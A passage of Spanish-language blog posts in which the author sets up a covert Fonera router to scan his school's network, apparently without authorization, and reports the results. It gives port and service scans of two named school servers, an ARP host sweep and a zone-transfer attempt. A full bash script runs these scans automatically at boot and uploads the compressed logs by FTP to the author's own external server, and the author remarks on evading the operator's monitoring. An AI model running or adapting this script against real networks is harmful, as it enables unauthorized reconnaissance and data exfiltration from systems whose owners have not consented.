italic;"></span><span style="font-style: italic;">20/tcp closed ftp-data<br /></span><span style="font-style: italic;">21/tcp open ftp<br /></span><span style="font-style: italic;">53/tcp open domain<br /></span><span style="font-style: italic;">80/tcp open http<br /></span><span style="font-style: italic;">389/tcp open ldap<br /></span><span style="font-style: italic;">443/tcp open https<br /></span><span style="font-style: italic;">873/tcp open rsync<br /></span><span style="font-style: italic;">6667/tcp closed irc<br /></span><span style="font-style: italic;">6881/tcp closed bittorent-tracker<br /></span><span style="font-style: italic;">6882/tcp closed unknown<br /></span><span style="font-style: italic;">6883/tcp closed unknown<br /></span><span style="font-style: italic;">8080/tcp open http-proxy<br /></span><span style="font-style: italic;">8083/tcp closed unknown</span><br /><br />Hay unos puertos abiertos y otros pone que están cerrados, recurriendo al manual de nmap leo que eso significa que se ha respondido a las sondas de nmap pero que no hay ningún servicio escuchando en él, en otras palabras que no esta bloqueado (filtrado) pero nada se ejecuta en ese puerto.<br /><div style="text-align: justify;"><br />Continuando, amap nos dice que hay en cada puerto y sus indicaciones son estas (están resumidas y solo los datos que creo mas útiles):<br /><br /><span style="font-style: italic;">21: ftp: ProFTPD 1.2.10 Server (Debian)<br /></span><span style="font-style: italic;">53: dns<br /></span><span style="font-style: italic;">80: http: Dansguardian<br /></span><span style="font-style: italic;">389: ldap<br /></span><span style="font-style: italic;">443: ssl: la palabra andalucia es de las pocas descifrables, no da mas detalles.<br /></span><span style="font-style: italic;">873: rsync<br /></span><span style="font-style: italic;">8080: http: Dansguardian<br /><br /></span>Así resumido eso es lo que se deduce de amap. Como se puede ver ahora el resultado de nmap quedó mucho mejor:<br /><br />20/tcp closed ftp-data<br /></div><span style="font-style: italic;"></span><span style="font-style: italic;">21/tcp open ftp ProFTPD 1.2.10<br /></span><span style="font-style: italic;">53/tcp open domain ISC Bind 9.2.4<br /></span><span style="font-style: italic;">80/tcp open http-proxy DansGuardian HTTP proxy<br /></span><span style="font-style: italic;">389/tcp open ldap (Anonymous bind OK)<br /></span><span style="font-style: italic;">443/tcp open ssl OpenSSL<br /></span><span style="font-style: italic;">873/tcp open rsync (protocol version 29)<br /></span><span style="font-style: italic;">6667/tcp closed irc<br /></span><span style="font-style: italic;">6881/tcp closed bittorent-tracker<br /></span><span style="font-style: italic;">6882/tcp closed unknown<br /></span><span style="font-style: italic;">6883/tcp closed unknown<br /></span><span style="font-style: italic;">8080/tcp open http-proxy DansGuardian HTTP proxy<br /></span><span style="font-style: italic;">8083/tcp closed unknown</span><br /><br />Mas inteligible y creo que mas completo, el de amap realmente hay que descifrarlo, me gusta mas como ha funcionado nmap, pero de volver a hacerlo usaría nuevamente las 2 herramientas.<br /><div style="text-align: justify;"><br />A continuación lo mismo pero con el otro servidor, con <span style="font-style: italic;">c0</span>. Scaneo normal, <span style="font-style: italic;">amap</span> y <span style="font-style: italic;">nmap -sV</span>. Vamos con lo primero, los puertos abiertos que dio fueron estos: 21, 22, 25, 53, 80, 111, 199, 389, 443, 631, 688, 691, 981, 2049, 3306, 4949, 9999, 40792.<br /><br />El resultado de amap:<br /><br /><span style="font-style: italic;">21: ftp: ProFTPD 1.2.10 Server (Debian)</span><br /></div><span style="font-style: italic;"></span><span style="font-style: italic;">22: openssh: SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.6<br /></span><span style="font-style: italic;">25: smtp: localhost.localdomain ESMTP Postfix (Debian/GNU)<br /></span><span style="font-style: italic;">53: dns<br /></span><span style="font-style: italic;">80: http: Apache/1.3.33 Ben-SSL/1.55 (Debian GNU/Linux)<br /></span><span style="font-style: italic;">111: no está en los resultados de amap??!!<br /></span><span style="font-style: italic;">199: snmp<br /></span><span style="font-style: italic;">389: ldap<br /></span><span style="font-style: italic;">443: ssl: el banner estará cifrado solo se distingue la palabra Andalucía y poco mas.<br /></span><span style="font-style: italic;">631: cups: Server CUPS/1.1<br /></span><span style="font-style: italic;">688: rpc-status-v1<br /></span><span style="font-style: italic;">981: rpc-mountd-v3<br /></span><span style="font-style: italic;">2049: rpc: rpc-nfs-v3<br /></span><span style="font-style: italic;">3306: mysql<br /></span><span style="font-style: italic;">4949: no está en los resultados de amap<br /></span><span style="font-style: italic;">9999: http<br /></span><span style="font-style: italic;">40972: rpc-nlockmgr-v4</span><br /><br />Y el de <span style="font-style: italic;">nmap -sV</span>:<br /><br /><span style="font-style: italic;">21: ftp: ProFTPD 1.2.10<br /></span><span style="font-style: italic;">22: ssh: OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)<br /></span><span style="font-style: italic;">25: smtp: Postfix smtpd<br /></span><span style="font-style: italic;">53: domain: ISC Bind 9.2.4<br /></span><span style="font-style: italic;">80: http: Apache httpd 1.3.33 (Ben-SSL/1.55 (Debian GNU/Linux) </span><span style="font-style: italic;">PHP/5.1.6-1~bpo.1)<br /></span><span style="font-style: italic;">111: rpcbind: 2 (rpc #100000)<br /></span><span style="font-style: italic;">199: smux: Linux SNMP multiplexer<br /></span><span style="font-style: italic;">389: ldap: (Anonymous bind OK)<br /></span><span style="font-style: italic;">443: ssl: OpenSSL<br /></span><span style="font-style: italic;">631: ipp: CUPS 1.1<br /></span><span style="font-style: italic;">688: status: 1 (rpc #100024)<br /></span><span style="font-style: italic;">691: rquotad: 1-2 (rpc #100011)<br /></span><span style="font-style: italic;">981: mountd: 1-3 (rpc #100005)<br /></span><span style="font-style: italic;">2049: nfs: 2-3 (rpc #100003)<br /></span><span style="font-style: italic;">3306: mysql: MySQL 4.1.11-Debian_4sarge7-log<br /></span><span style="font-style: italic;">4949: tcpwrapped<br /></span><span style="font-style: italic;">9999: http: apt-proxy httpd<br /></span><span style="font-style: italic;">40792: nlockmgr: 1-4 (rpc #100021)</span><br /><br />Después lo que tocaba era un scaneo dns, para buscar nombres de las máquinas. A partir de la ip <span style="font-style: italic;">192.168.0.50</span> empezaba a dar nombres, algo así: <span style="font-style: italic;">pc50-0.código-del-centro.11.andared.cec.junta-andalucia.es.</span> Lógicamente donde he puesto "código del centro" va un número que identifica a cada centro educativo. Lo de <span style="font-style: italic;">pc50</span> va cambiando: <span style="font-style: italic;">pc51, pc52</span>.... No he scaneado la red entera porque no tenía conocimiento de su tamaño, pero me lo apunto para la próxima, el último que tengo es pc254.... El nombre que reciben las máquinas hace pensar en la existencia de una red andaluza que conecta todos los centros educativos y lo controla el cga, de hecho no solo lo supongo, lo sé, según he leído es "la red educativa telemática mas grande del mundo".<br /><div style="text-align: justify;"><br />Tras eso toca una parte interesante un scaneo arp ping para conocer que máquinas estaban activas, el resultado solo han sido los dos servidores y (creo) varios routers wifi DLink:<br /><br /><span style="font-style: italic;">192.168.0.1 (f0)<br /></span><span style="font-style: italic;">192.168.0.2 (c0)<br /></span><span style="font-style: italic;">192.168.0.50 (pc50)<br /></span><span style="font-style: italic;">192.168.0.224 (pc224)<br /></span><span style="font-style: italic;">192.168.0.246 (p246)<br /></span><span style="font-style: italic;">192.168.0.247 (pc247)</span><br /><br />Ya falta poco para acabar, las rutas, primero como las ve nmap. Éste nos dice que el router es <span style="font-style: italic;">f0.</span> Luego <span style="font-style: italic;">traceroute</span> a <span style="font-style: italic;">f0, c0</span> y <span style="font-style: italic;">google.es</span>. Primero hay 30 saltos que ninguno ha dado resultados, se supone que corresponde a f0, después toca c0, que solo está la primera línea, por lo que supongo que paso por él antes que por ninguna otra cosa (exceptuando el ap wifi). El trazado a google.es solo da el primer router, <span style="font-style: italic;">f0</span>, luego ya no aparece nada mas.<br /><br />Intentamos una transferencia de zona, pero no estamos autorizados:<br /><br /><span style="font-style: italic;">Using domain server:</span><br /></div><span style="font-style: italic;"></span><span style="font-style: italic;">Name: 192.168.0.1<br /></span><span style="font-style: italic;">Address: 192.168.0.1#53<br /></span><span style="font-style: italic;">Aliases:<br /></span><span style="font-style: italic;"><br />Host junta-andalucia.es not found: 9(NOTAUTH)<br /></span><span style="font-style: italic;">; Transfer failed.<br /><br /></span>Probaré también a hacerlo con <span style="font-style: italic;">c0,</span> ya que los dos servidores tienen dns.<br /><div style="text-align: justify;"><br />Por último se comprime todo y se envía a por ftp pero eso no funcionó, se ve que está bloqueado.<br /><br />En resumen esos son los resultados, ahora intentaŕe desarrollar una segunda versión este fin de semana que me proporcione mas datos, haré un scaneo ping arp a toda la red ahora que se como de grande es, scaneo de puertos tcp a las maquinas activas (creo que solo habrá APs wifi), quizás udp a f0/c0, y la estrella: intentaré meter algún scanner de vulnerabilidades. Este esquema es susceptible de modificaciones todavía tengo que planearlo bien todo, pero todo apunta a que la semana que viene sondearé la red de nuevo.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com8tag:blogger.com,1999:blog-2917730816352861372.post-69216953204386057952007-09-20T18:58:00.000+02:002007-09-22T17:33:02.355+02:00Error en la fonera<div style="text-align: justify;">Ayer sometiendo a la fonera a una batería de pruebas detecte un par de errores, uno de ellos es que empieza antes de tiempo a ejecutarse, la comprobación que puse en el script no funcionaba como debía, porque a veces esa condición (estar asociado al access-point) se cumplía y todavía la fonera no tenía ip, por lo que los scaneos a f0 (el primero en ser scaneado) eran erróneos, ya que la conexión no era posible aún. Y como los sucesivos scaneos a f0 se basan en el primero (para ahorrar tiempo) todos los datos sobre f0 eran inválidos. Hablo de esto:<br /></div><br /><span style="font-style: italic;">while [ -e $(iwconfig ath0 | grep Not_Associated)];<br />do main<br />exit;<br />done<br /></span><br /><div style="text-align: justify;">El segundo problema era en el "scaneo de versiones" de nmap (nmap -sV) y es que yo mediante un bucle for intentaba pasarle solo los puertos que nmap detectó abiertos al principio, pero como ese mismo trozo de código se usa para el scaneo a c0, la variable que almacena los puertos a scanear está "contaminada" del scaneo anterior, por también hice que se limpiara la variable antes de usarla, pero lo puse en mal sitio, dentro del bucle for, entonces lo que hacia era acabar con un único puerto, el último. El código erróneo era este:<br /></div><br /><span style="font-style: italic;">for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);<br />do<br />PUERTOS=""<br />PUERTOS="$PUERTOS$i,";<br />done<br /></span><br /><div style="text-align: justify;">La solución al segundo problema es obvia, simplemente poner la tercera línea antes del <span style="font-style: italic;">for.</span> El otro error si me ha tenido mas atareado estuve ayer probando de todo y no funcionaba, aunque eso si al final lo he conseguido arreglar. La idea era que yo tenía era sencilla, en vez de comprobar con <span style="font-style: italic;">iwconfig</span> que estaba asociado al AP, debía comprobar con <span style="font-style: italic;">ifconfig</span> si <span style="font-style: italic;">ath0</span> tenía dirección ip. Como no sé que ip tendré no puedo basarme en un numero para hacer la comprobación, pero si hay otras cosas que me pueden valer. Antes de obtener ip por dhcp al ejecutar <span style="font-style: italic;">ifconfig ath0</span> devuelve algo parecido a esto:<br /></div><br /><span style="font-style: italic;">ifconfig ath0<br /></span><span style="font-style: italic;">ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D</span><span style="font-style: italic;"><br />UP BROADCAST MULTICAST MTU:1500 Metric:1</span><span style="font-style: italic;"><br />RX packets:2 errors:0 dropped:0 overruns:0 frame:0</span><span style="font-style: italic;"><br />TX packets:0 errors:0 dropped:0 overruns:0 carrier:0</span><span style="font-style: italic;"><br />collisions:0 txqueuelen:0</span><span style="font-style: italic;"><br />RX bytes:116 (116.0 B) TX bytes:0 (0.0 B)<br /></span><br /><div style="text-align: justify;">En cambio cuando ya esta conectado con su ip devuelve esto otro:<br /></div><br /><span style="font-style: italic;">ifconfig ath0<br /></span><span style="font-style: italic;">ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D</span><span style="font-style: italic;"><br />inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0</span><span style="font-style: italic;"><br />UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span><span style="font-style: italic;"><br />RX packets:15 errors:0 dropped:0 overruns:0 frame:0</span><span style="font-style: italic;"><br />TX packets:7 errors:0 dropped:0 overruns:0 carrier:0</span><span style="font-style: italic;"><br />collisions:0 txqueuelen:0</span><span style="font-style: italic;"><br />RX bytes:1531 (1.4 KiB) TX bytes:1651 (1.6 KiB)<br /></span><br /><div style="text-align: justify;">Blogger como de costumbre deforma las cosas, se supone que al principio de cada linea hay unos espacios. También comprobé que por alguna extraña causa el supuesto bucle <span style="font-style: italic;">while</span> no funcionaba como yo esperaba y a pesar de cambiar lo del <span style="font-style: italic;">iwconfig</span> por lo de <span style="font-style: italic;">ifconfig</span> no conseguí que funcionase bien. Me di cuenta de que necesitaba <span style="font-style: italic;">until</span> en vez de <span style="font-style: italic;">while</span>, pero tampoco me funcionaba. Pensé en hacer una función recursiva, que comprueba si tiene ip, si la tiene ejecuta <span style="font-style: italic;">main</span> y si no la tiene se llama a si misma de nuevo y así hasta que tuviese ip y se ejecutara <span style="font-style: italic;">main</span>. En algo fallaría porque tampoco conseguí llevarlo a la práctica.<br /><br />Finalmente puse esto:<br /><br /></div><span style="font-style: italic;">START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)<br /></span><span style="font-style: italic;">while [ "1" == "1" ];<br /></span><span style="font-style: italic;">do<br /></span><span style="font-style: italic;">if [ $START == "inet" ];<br /></span><span style="font-style: italic;">then date >> /mnt/logs/date<br /></span><span style="font-style: italic;">main;<br /></span><span style="font-style: italic;">else<br /></span><span style="font-style: italic;">START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);<br /></span><span style="font-style: italic;">fi;</span><span style="font-style: italic;"><br />done<br /></span><br /><div style="text-align: justify;">Traducido: mientras 1 sea igual a 1 (siempre :P) comprueba si <span style="font-style: italic;">$START</span> es igual a <span style="font-style: italic;">"inet",</span> condición que solo se cumplirá si <span style="font-style: italic;">ath0</span> tiene ip, en caso afirmativo apunta la hora y luego ejecuta la función principal (<span style="font-style: italic;">main</span>) y cuando ésta acabe se acaba el script (eso lo he añadido a la función <span style="font-style: italic;">main</span>), si la igualdad no se cumpliera se reasignaría el valor de <span style="font-style: italic;">$START</span> y se repetiría todo, así hasta que fuera afirmativo y se ejecutara <span style="font-style: italic;">main.</span><br /></div><br /><div style="text-align: justify;">Con esos cambios el script queda así (también lo he puesto <a href="http://neobius.es/script">aquí</a>):<br /></div><br /><span style="font-style: italic;">#!/bin/bash<br /></span><span style="font-style: italic;">date > /mnt/logs/date<br /></span><span style="font-style: italic;">F0=192.168.0.1<br /></span><span style="font-style: italic;">C0=192.168.0.2<br /></span><span style="font-style: italic;">TARGET=$F0<br /></span><span style="font-style: italic;">FILE="/mnt/logs/f0"<br /></span><span style="font-style: italic;">START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)<br /></span><span style="font-style: italic;"><br />x0scan() {<br /></span><span style="font-style: italic;">PUERTOS=""<br /></span><span style="font-style: italic;">nmap -sT -n -p- -oA $FILE -P0 $TARGET<br /></span><span style="font-style: italic;">amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"<br /></span><span style="font-style: italic;">for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);<br /></span><span style="font-style: italic;">do<br /></span><span style="font-style: italic;">PUERTOS="$PUERTOS$i,";<br /></span><span style="font-style: italic;">done<br /></span><span style="font-style: italic;">nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'<br /></span><span style="font-style: italic;">TARGET=$C0<br /></span><span style="font-style: italic;">FILE="/mnt/logs/c0"<br /></span><span style="font-style: italic;">}</span><span style="font-style: italic;"><br /><br />main() {<br /></span><span style="font-style: italic;">ifconfig -a > /mnt/logs/ifconfig<br /></span><span style="font-style: italic;">iwconfig > /mnt/logs/iwconfig<br /><br /></span><span style="font-style: italic;">x0scan<br /></span><span style="font-style: italic;">x0scan<br /><br /></span><span style="font-style: italic;">#routes and other scans</span><span style="font-style: italic;"><br />nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan<br /></span><span style="font-style: italic;">nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping<br /></span><span style="font-style: italic;">nmap --iflist -oN /mnt/logs/nmaproute<br /></span><span style="font-style: italic;">traceroute f0 > /mnt/logs/trace<br /></span><span style="font-style: italic;">traceroute c0 >> /mnt/logs/trace<br /></span><span style="font-style: italic;">traceroute 64.233.183.104 >> /mnt/logs/trace</span><span style="font-style: italic;"><br /><br />#dns zone transfer<br /></span><span style="font-style: italic;">host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer<br /></span><span style="font-style: italic;">date >> /mnt/logs/date<br /></span><span style="font-style: italic;">tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*<br /></span><span style="font-style: italic;">wput /mnt/logs/logs.tar.gz ftp://user:pass@neobius.es<br /></span><span style="font-style: italic;">exit<br /></span><span style="font-style: italic;">}<br /><br /></span><span style="font-style: italic;">while [ "1" == "1" ];<br /></span><span style="font-style: italic;">do<br /></span><span style="font-style: italic;">if [ $START == "inet" ];<br /></span><span style="font-style: italic;">then date >> /mnt/logs/date<br /></span><span style="font-style: italic;">main;<br /></span><span style="font-style: italic;">else</span><span style="font-style: italic;"><br />START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);<br /></span><span style="font-style: italic;">fi;<br /></span><span style="font-style: italic;">done<br /><br /></span><div style="text-align: justify;">Sin embargo todavía nos faltan un par de cosas por hacer que no hice cuando acabe el último post, tenemos que hacer que el script se ejecute al inicio, y como es lógico mejor si es después del wpa-supplicant. Este último ya lo configuramos, en mi caso use el archivo <span style="font-style: italic;">/etc/init.d/test.</span> Tras hacer pruebas para que el script se ejecute al inicio me di cuenta de una cosa, todo lo que iba después del wpa supplicant no arrancaba, si ponía mi script tras él, no funcionaba. La solución fue sencilla, viendo el manual de wpa-supplicant vi una interesante opción:<br /></div><br /><span style="font-style: italic;">-B = run daemon in the background</span><br /><br /><div style="text-align: justify;">Correr el demonio en background! era justo lo que necesitaba, así que le añadí la opción al archivo de inicio y ya está:<br /></div><br /><span style="font-style: italic;">#!/bin/sh /etc/rc.common<br /></span><span style="font-style: italic;"># Copyright (C) 2006 OpenWrt.org</span><span style="font-style: italic;"><br /><br />START=50<br /></span><span style="font-style: italic;">start(){</span><span style="font-style: italic;"><br />wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0 -B</span><span style="font-style: italic;"><br />}</span><span style="font-style: italic;"><br /><br />stop(){</span><span style="font-style: italic;"><br />killall test</span><span style="font-style: italic;"><br />}</span><br /><br />Esta parte esta lista, ahora el script en si, yo lo he hecho a través del fichero <span style="font-style: italic;">/etc/init.d/script,</span> con este contenido:<br /><br /><span style="font-style: italic;">#!/bin/sh /etc/rc.common<br /></span><span style="font-style: italic;"># Copyright (C) 2006 OpenWrt.org</span><br /><span style="font-style: italic;"><br />START=51<br /></span><span style="font-style: italic;">start(){</span><span style="font-style: italic;"><br />sh /mnt/backup/script.sh > /mnt/logs/dump</span><span style="font-style: italic;"><br />}<br /></span><span style="font-style: italic;"><br />stop(){</span><span style="font-style: italic;"><br />killall script</span><span style="font-style: italic;"><br />}</span><br /><br />Ejecuta el script después de haberse ejecutado wpa-supplicant y además guarda como log el resultado de la ejecución en /mnt/logs/dump, por si hubiera algún error al ejecutar un comando que no se guardara en los logs independientes que guardará cada uno de los comandos.<br /><div style="text-align: justify;"><br />Además de eso he hecho dos cosas más deshabilitar del inicio automático cron y dnsmasq, cron simplemente porque no lo uso y dnsmasq porque si la pongo en modo cliente y dnsmasq está corriendo no me funciona el dns. Para ello simplemente hay que quitarle los permisos de ejecución:<span style="font-style: italic;"><br /><br />chmod -x /etc/init.d/cron<br /></span><span style="font-style: italic;">chmod -x /etc/init.d/dnsmasq<br /><br /></span>Y por último he hecho otro cambio, la conexión ethernet la puesto con dhcp porque si la dejo estática crea una ruta fija y si luego se conecta por wifi y tiene otro rango de ip o simplemente el router tiene una dirección diferente de la especificada se producirá un conflicto de rutas y los paquetes no tendrán muy claro por donde ir, vamos que la conexión fallará casi seguro. Así he cambiado mi fichero <span style="font-style: italic;">/etc/config/network</span> y lo he dejado así:<br /></div><br /><span style="font-style: italic;">config interface loopback<br /></span><span style="font-style: italic;"> option ifname lo<br /></span><span style="font-style: italic;"> option proto static<br /></span><span style="font-style: italic;"> option ipaddr 127.0.0.1<br /></span><span style="font-style: italic;"> option netmask 255.0.0.0<br /></span><span style="font-style: italic;"><br />config interface lan<br /></span><span style="font-style: italic;"> option ifname eth0<br /></span><span style="font-style: italic;"> option proto dhcp<br /></span><span style="font-style: italic;"><br />config interface vlan1<br /></span><span style="font-style: italic;"> option ifname ath0<br /></span><span style="font-style: italic;"> option proto dhcp<br /></span><br />Con todo esto ahora si puedo afirmar con seguridad: la fonera está lista. Ya lo he probado de todas las maneras posibles y ha funcionado así que el día que vaya al instituto no debería haber ningún problema, a no ser que falle la propia red del instituto.<br /><div style="text-align: justify;"><br />PD: Hay algo que me hace sospechar que puede no funcionar del todo bien, la web de mi instituto da un 404 así que a lo mejor están haciendo cambios en el servidor, vamos a ver como sale el experimento...<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com3tag:blogger.com,1999:blog-2917730816352861372.post-33320472443738777212007-09-19T17:45:00.000+02:002007-09-19T19:34:09.740+02:00El script de la fonera<div style="text-align: justify;">Como ya os he dicho todo esta listo para el primer día (bueno todo no, tengo que comprar pilas :P ). Esta es una importante parte del puzzle, pero creo que al final ha quedado mas o menos bien, antes contar nada os pongo el script y luego os comento, por si aquí no se ve bien también lo he puesto en mi servidor, <a href="http://neobius.es/script">aquí</a>:<br /></div><br /><span style="font-style: italic;">#!/bin/bash<br /></span><span style="font-style: italic;">date > /mnt/logs/date<br /></span><span style="font-style: italic;">F0=192.168.0.1<br /></span><span style="font-style: italic;">C0=192.168.0.2<br /></span><span style="font-style: italic;">TARGET=$F0<br /></span><span style="font-style: italic;">FILE="/mnt/logs/f0"<br /></span><span style="font-style: italic;"><br />x0scan() {<br /></span><span style="font-style: italic;">nmap -sT -n -p- -oA $FILE -P0 $TARGET<br /></span><span style="font-style: italic;">amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"<br /></span><span style="font-style: italic;">for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);<br /></span><span style="font-style: italic;">do<br /></span><span style="font-style: italic;">PUERTOS=""<br /></span><span style="font-style: italic;">PUERTOS="$PUERTOS$i,";</span><span style="font-style: italic;"><br />done<br /></span><span style="font-style: italic;">nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'<br /></span><span style="font-style: italic;">TARGET=$C0<br /></span><span style="font-style: italic;">FILE="/mnt/logs/c0"<br /></span><span style="font-style: italic;">}</span><span style="font-style: italic;"><br /><br />main() {<br /></span><span style="font-style: italic;">ifconfig -a > /mnt/logs/ifconfig<br /></span><span style="font-style: italic;">iwconfig > /mnt/logs/iwconfig</span><span style="font-style: italic;"><br /><br />x0scan<br /></span><span style="font-style: italic;">x0scan</span><span style="font-style: italic;"><br /><br />#routes and other scans<br /></span><span style="font-style: italic;">nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan<br /></span><span style="font-style: italic;">nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping<br /></span><span style="font-style: italic;">nmap --iflist -oN /mnt/logs/nmaproute<br /></span><span style="font-style: italic;">traceroute f0 > /mnt/logs/trace<br /></span><span style="font-style: italic;">traceroute c0 >> /mnt/logs/trace<br /></span><span style="font-style: italic;">traceroute 64.233.183.104 >> /mnt/logs/trace</span><span style="font-style: italic;"><br /><br />#dns zone transfer<br /></span><span style="font-style: italic;">host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer<br /></span><span style="font-style: italic;">date >> /mnt/logs/date<br /></span><span style="font-style: italic;">tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*<br /></span><span style="font-style: italic;">wput /mnt/logs/logs.tar.gz ftp://user:password@neobius.es<br /></span><span style="font-style: italic;">}</span><span style="font-style: italic;"><br /><br />while [ -e $(iwconfig ath0 | grep Not_Associated)];<br /></span><span style="font-style: italic;">do main<br /></span><span style="font-style: italic;">exit;<br /></span><span style="font-style: italic;">done</span><br /><br />Explico, al principio del script defino unas variables, <span style="font-style: italic;">c0, f0, target, y file</span>. Se que las dos primeras podría haberlas omitido, pero he preferido dejarlo así, esas dos indican las ips de los servidores <span style="font-style: italic;">c0</span> y <span style="font-style: italic;">f0.</span> La variable <span style="font-style: italic;">$TARGET</span> indica a quien se va a scanear, y <span style="font-style: italic;">$FILE</span> el prefijo para lo nombres de los archivos logs.<br /><div style="text-align: justify;"><br />El script esta dividido en funciones, la función <span style="font-style: italic;">main</span> y la función <span style="font-style: italic;">x0scan</span>, además también hay un bucle que comprueba si la fonera se ha conectado a la red inalámbrica y hasta que no lo haya hecho no se ejecuta nada mas.<br /><br />Lo primero que se hace es esa comprobación, que es mediante las ultimas líneas del script, con el <span style="font-style: italic;">while</span>, cuando se ejecuta <span style="font-style: italic;">iwconfig</span> si no esta conectado pondrá <span style="font-style: italic;">Not_Associated</span>, si lo pone sigue esperando hasta que deje de ponerlo y si no lo pone llama a la función <span style="font-style: italic;">main</span> y se acaba la comprobación.<br /><br />La función <span style="font-style: italic;">main</span> guarda en un log la configuración de la red y del wifi (<span style="font-style: italic;">ifconfig</span> y <span style="font-style: italic;">iwconfig</span>), a continuación llama dos veces a la otra función, <span style="font-style: italic;">x0scan</span>.<br /><br /><span style="font-style: italic;">x0scan</span> se encarga del scaneo a los servidores, de ahí su nombre (los servidores son <span style="font-style: italic;">f0</span> y <span style="font-style: italic;">c0</span>). Empieza con nmap, analizando con sondeos TCP los 65535 puertos del servidor <span style="font-style: italic;">f0,</span> sin enviar ping previo y sin búsqueda inversa dns, estas medidas son para ahorrar tiempo. Todo se guarda en logs en todos los formatos (3), he elegido todos porque todos tienen sus ventajas. Lo siguiente es <span style="font-style: italic;">amap</span>, analiza todos los puertos que nmap ha encontrado abiertos y guarda el correspondiente log, todo se registra.<br /><br />También he averiguado leyendo el manual de nmap que éste también puede detectar que servicio corre y su versión, así que también se ejecutará, ya que es mejor tener dos resultados que uno. Solo se ejecutará a los puertos que nmap haya detectado abiertos al principio, para nuevamente ganar tiempo. Por último, se cambia el contenido de las variables <span style="font-style: italic;">$TARGET</span> y <span style="font-style: italic;">$FILE</span> para así poder ejecutar de nuevo la misma función pero hacia el servidor <span style="font-style: italic;">c0</span>.<br /><br />Tras ejecutar nuevamente <span style="font-style: italic;">x0scan</span>, la función main busca host a través de dns en el mismo rango de ips que los servidores, quizas los routers o algo tengan nombres. Luego busca hosts vivos a traves de pings arp, he elegido pings arp porque puede ser que los pings icmp estén bloqueados por algún firewall<hints id="hah_hints"></hints>.<br /><br />Nmap guarda también las rutas que usa, me valdrá para conocer la ip de un router. También ejecuta 3 traceroutes, a <span style="font-style: italic;">c0</span> a <span style="font-style: italic;">f0</span> y a <span style="font-style: italic;">google.es</span> (he puesto la ip por si me falla el dns), confío en que me valga para trazar un mapa aproximado de la red, que espero ir perfeccionando según tenga los datos.<br /><br />Pero esto todavía no ha acabado, ahora toca intentar una transferencia de zona dns. Este proceso se hace cuando un servidor dns secundario pide al primario toda la información que tenga sobre un dominio para así actualizarse, pero a veces no esta restringido a ese servidor secundario y cualquiera puede hacerlo, así que también voy a intentar esto.<br /><br />Por último y por simple seguridad, para tener un backup, se crea un tar.gz con todos los logs y lo envía por ftp a mi cuenta en el servidor de 1and1.es. Obviamente no usaré mi usario normal, he creado uno especial para la ocasión con acceso a un directorio determinado en el que no hay nada, protegido de acceso http y al que cambiaré la contraseña (no me he complicado con ella, es un solo uso...). Todo esto es por si a los del CGA les da por poner un sniffer que es muy fácil coger el password... Pensé en hacerlo con scp o con sftp, pero no, porque no se como pasarle el password de forma automática.<br /><br />La idea inicial también incluía snifar un poco, pero al final no lo voy a hacer en esta primera conexión, ya pensaré cuando y como lo hago.<br /><br />Ah! y otra cosa que se me pasó decir antes, también apunta la hora a la que empieza y la hora a la que acaba, que aunque la fonera no esté en hora sirve para saber cuanto tiempo tarda en completarse todo. Probándolo en mi red tarda unos 20-25 minutos, por lo que las pilas deberían aguantar sobradamente.<br /><br />Por último esta es una idea de última hora que se me ha ocurrido, podría también aprender a controlar el diodo led de la fonera el de network o el de wlan (que esta en desuso) para que con algún código me diera a entender lo que hacía, por ejemplo si esta conectada a la red wifi y el script esta en funcionamiento que este 5 segundos encendida, se apague, otros 5 segundos, se apague, etc. Esta idea se me acaba de ocurrir ahora mismo, pero no se como de fácil/difícil será, de todas formas no es necesario.<br /><br />PD: Algunos datos los he cambiado en el script, por ejemplo, mi usuario y contraseña del ftp<br /><br />PD2: No se se si es del todo buena idea ponerlo porque puede ser que ahora en el CGA preparen algo para que no me funcione, de todas formas no importa, sea como sea será bueno, si todo va bien conseguiré los datos. Si hay algun firewall estricto o algo parecido pues tendré que agudizar el ingenio y utilizar otras técnicas :)<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com0tag:blogger.com,1999:blog-2917730816352861372.post-43916179712106139922007-09-19T16:22:00.000+02:002007-09-20T18:58:16.506+02:00Amap en la fonera<div style="text-align: justify;">Como ya os conté en el post "<a href="http://neobius.blogspot.com/2007/09/compilando-para-la-fonera.html">Compilando para la fonera</a>" me interesa tener la herramienta amap en la fonera y en aquel post la compilé, pero daba error porque faltaban algunos archivos, yo supuse que con poner esos archivos en el directorio adecuado sería suficiente, y así era. El problema es que yo quería tenerlos en otro directorio, a mi me interesa que sea en el directorio <span style="font-style: italic;">/usr/share/amap</span>. Por qué? simplemente porque el otro directorio no existía y muchas aplicaciones guardan en la carpeta que yo he dicho sus archivos, y prefiero que este también sea así. Conseguirlo no ha sido muy fácil, he tardado bastante, busque en el <span style="font-style: italic;">configure</span> y en el <span style="font-style: italic;">Makefile</span>, cambié de todo pero no funcionaba... al final lo conseguí, 